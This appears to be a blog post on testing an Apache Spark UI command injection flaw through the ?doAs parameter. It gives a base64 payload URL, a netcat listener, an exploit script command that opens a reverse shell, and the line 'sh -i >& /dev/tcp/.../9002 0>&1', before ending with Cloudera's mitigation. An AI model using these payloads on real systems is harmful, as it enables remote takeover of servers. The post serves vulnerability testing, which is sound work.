Please refer - https://spark.apache.org/security.html
- The command injection occurs because Spark checks the group membership of the user passed in the ?doAs parameter by using a raw Linux command.
- If an attacker is sending reverse shell commands using ?doAs. There is also a high chance of granting apache spark server access to the attackers’ machine.
Vulnerability description -
The Apache Spark UI offers the possibility to enable ACLs via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilter can allow someone to perform impersonation by providing an arbitrary user name. A malicious user might then be able to reach a permission check function that will ultimately build a Unix shell command based on their input, and execute it. This will result in arbitrary shell command execution as the user Spark is currently running as.
Vulnerable component includes only Spark UI -
- We tested Spark History Server, which worked fine when tested for vulnerability i.e. no Vulnerability
- https://<SparkServer>:18081/
- We tested Spark UI, starting Job using YARN master, which also worked fine for us i.e. no Vulnerability
- https://<SparkServer>:8090/proxy/application_1684801301953_15767/
- https://<SparkServer>:4043/
- We tested Spark UI, starting Job with Local master, and it tested positive for Vulnerability i.e. we were able to do command line injection and execute shell commands on Spark server using remote machine.
- https://<SparkServer>:4044/
You can find the test code @https://github.com/dinesh028/engineering/tree/master/VulnerabilityTest
- Please create clone of above git repository.
- Install python3 and following required libraries for the script - requests, argparse, colorama
- Start Spark-Shell with --master local on one your machine in Hadoop Cluster. This will start Spark UI with web URL like - https://<SparkServer>:4044/
- Let’s check if this target (https://<SparkServer>:4044/) is vulnerable or not using below mentioned command -
- python3 exploit.py -u http://<Spark Server> -p 4044 --check --verbose
- http://<Spark Server>:4044/?doAs='testing'
- http://<Spark Server>:4044/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
- How this script verifies for Vulnerability is by calling above two URL's
- The first URL invocation tells if URL supports ?doAs request parameter substitution.
- If ?doAs is not supported then there can not be command line injection. Hence we are safe.
- Second, it checks to see if we can execute "Sleep 10 " command on remote server. If it does sleep for 10 seconds means remote server is vulnerable else it is not.
- Above command will tell you if above URL probably vulnerable or not.
- Let’s use our exploit to get the reverse shell started to execute unix command on server from remote. But, before that start netcat listener to capture traffic for reverse shell using below mentioned command on some remote machine other then Spark Server.
- nc -nvlp 9002
- Let's use exploit command to start reverse shell.
- python3 exploit.py -u http://<Spark Server> -p 4044 --revshell -lh <IP_OF_REMOTE_MACHINE_RUNNING_NETCAT> -lp 9002 --verbose
- Above command Open's a interactive shell on Spark Server redirecting or lisntening to traffic from remote netcat machine. Ex:
- sh -i >& /dev/tcp/{IP_OF_REMOTE_MACHINE_RUNNING_NETCAT}/9002 0>&1
- After this you should see Unix Shell on machine which was running netcat. On this machine you can execute you unix shell commands which will actually execute on remote Spark Server.
- whoami
- hostname
To mitigate the issue-
- Cloudera Suggests to disable following properties (, if enabled)
- spark.history.ui.acls.enable / spark.acls.enable
Comments
Post a Comment